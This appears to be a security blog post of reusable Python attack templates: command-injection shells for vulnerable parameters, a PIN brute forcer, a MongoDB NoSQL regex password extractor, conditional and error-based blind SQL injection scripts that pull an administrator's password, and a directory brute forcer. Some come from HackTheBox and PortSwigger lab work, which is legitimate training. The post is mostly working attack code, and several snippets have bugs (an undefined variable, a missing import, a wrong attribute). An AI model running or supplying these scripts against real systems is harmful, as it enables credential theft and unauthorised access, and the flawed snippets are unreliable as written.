Posts Python Snippets
Post
Cancel

Python Snippets

Collection of basic Python code templates I’ve developed and/or used on various occasions.

Extract CSRF Token


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re
import sys

def login(target):
    ps = requests.session() # create persistant session
    url = "http://{}/login".format(target)
    req = ps.get(url)
    reg = re.search(r'([a-z,0-9]){96}', req.text) # edit to match pattern
    token = match.group(0)
    data = {'username':'user','password':'pass','csrf_token':token}
    login = ps.post(url, data=data)
    if "Welcome.." in login.text:
        print("login successful")
    return ps

def main():
    target = sys.argv[1]
    sesh = login(target)

if __name__ == "__main__":
    main()

Basic command-line prompt for vulnerable GET parameter


The BeautifulSoup and Regular Expression modules can be used with to eliminate the output we don’t need from the response.

1
2
3
4
5
6
import requests

while True:
    cmd=raw_input("> ")
    r = requests.get("http://target.com/vuln.php?vulnparam="+cmd)
    print r.content


Basic command-line prompt for vulnerable POST parameter


1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import os
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = ""
while True:
    cmd = raw_input("> ")
    r = requests.post(url, data={...})
    soup = BeautifulSoup(r.text, 'html.parser')
    out = soup.find('div')
    print out

Improved command-line prompt


The BeautifulSoup and Regular Expression modules can be used with to eliminate the output we don’t need from the response.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

http_proxy  = "http://127.0.0.1:8080"
proxy = { 
              "http"  : http_proxy, 
            }
cookies = {
        'PHPSESSID':'dnjcndc...'
        }

class Exploit(object):
    def __init__(self):
        self.url = "http(s)://target.com/vuln.php"
    
   def makeRequest(self, cmd):
       requests.post(self.url, cookies=cookies, verify=False, data={'vulnparam': cmd}, proxies=proxy)
       
   def runCmd(self, cmd):
       self.makeRequest(cmd)
    
out = Exploit()
while True:
    cmd = raw_input("> ")
    out.runCmd(cmd)  


PIN brute force


Written as part of the priv esc vector on hackthebox machine Bankrobber.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
import itertools 

host = ''
port = 
numbers = '0123456789'
n = ''

for i in itertools.product(numbers, repeat=4):
    pin = n+''.join(i)
    p = remote(host,port)
    p.recvuntil(": ")
    p.sendline(pin)
    print pin
    out = p.recv()
    if "Access Denied" not in out:
        print "[+] PIN: " + pin


Mongodb brute force


Minor modification to the PayloadsAllTheThings NoSQL blind brute force script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import urllib3
import string
import urllib
import sys
urllib3.disable_warnings()


username = "admin"
password = ""
url = ""

print("[+] User: %s" % (username))
while True:
    for c in string.printable:
        if c not in ['*','+','?','|', '#', '.', '$']:
            payload = {'username[$eq]':'%s' %(username), 'password[$regex]': '^%s' %(password + c), 'login' : 'login' }
            req = requests.post(url, data=payload, verify=False, allow_redirects=False)
            if req.status_code == 302:
                print("[+] Found one more character: %s" % (password + c))
                password += c


Conditional Response blind SQLi


Script I wrote for a lab in the PortSwigger Web Security Academy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
import requests
import string
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = sys.argv[1]
chars = list(string.ascii_lowercase+string.digits)
password = ""
result= ""

x = range(1,7)
for i in x:
    for c in chars:
        cookies = {'TrackingId':'xyz\' UNION SELECT \'a\' FROM users WHERE Username = \'administrator\' and SUBSTRING(Password, %s, 1) = \'%s\'--'% (i,password+c)}
        resp = requests.get(url, cookies=cookies).text
        if "Welcome back!" in resp:
            result+=c
            sys.stdout.write("\r"+"Password: " + result)
            sys.stdout.flush()
            break
        elif c == chars[-1]:
            exit(0)


Error based blind SQLi


Script I wrote for a lab in the PortSwigger Web Security Academy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = sys.argv[1]
chars = list(string.ascii_lowercase+string.digits)
password = ""
result= ""

x = range(1,7)
for i in x:
    for c in chars:
        cookies={'TrackingId':'\'+UNION+SELECT+CASE+WHEN+(username=\'administrator\'+AND+substr(password,%s,1)=\'%s\')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--' % (i,password+c)}
        resp = requests.get(url, cookies=cookies).text
        if resp.status_code == 500:
            result+=c
            sys.stdout.write("\r"+"Password: " + result)
            sys.stdout.flush()
            break
        elif c == chars[-1]:
            exit(0)


Iterate through file and brute force


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import sys

if len(sys.argv) != 3:
    sys.exit("usage: python %s <url> <wordlist>" % sys.argv[0])

url = sys.argv[1]
wordlist = sys.argv[2]

if url.endswith("/"):
    pass
else:
    url = url+"/"

words = [line.strip('\n') for line in open(wordlist)]

for w in words:
    try:
        response = requests.get(url+w)
        if response.status_code == 200:
            print "[+] " + url+w + " 200 OK"
        if response.status_code == 403:
            print "[-] " + url+w + " 403 FORBIDDEN"
    except KeyboardInterrupt:
        sys.exit(0)


This post is licensed under CC BY 4.0 by the author.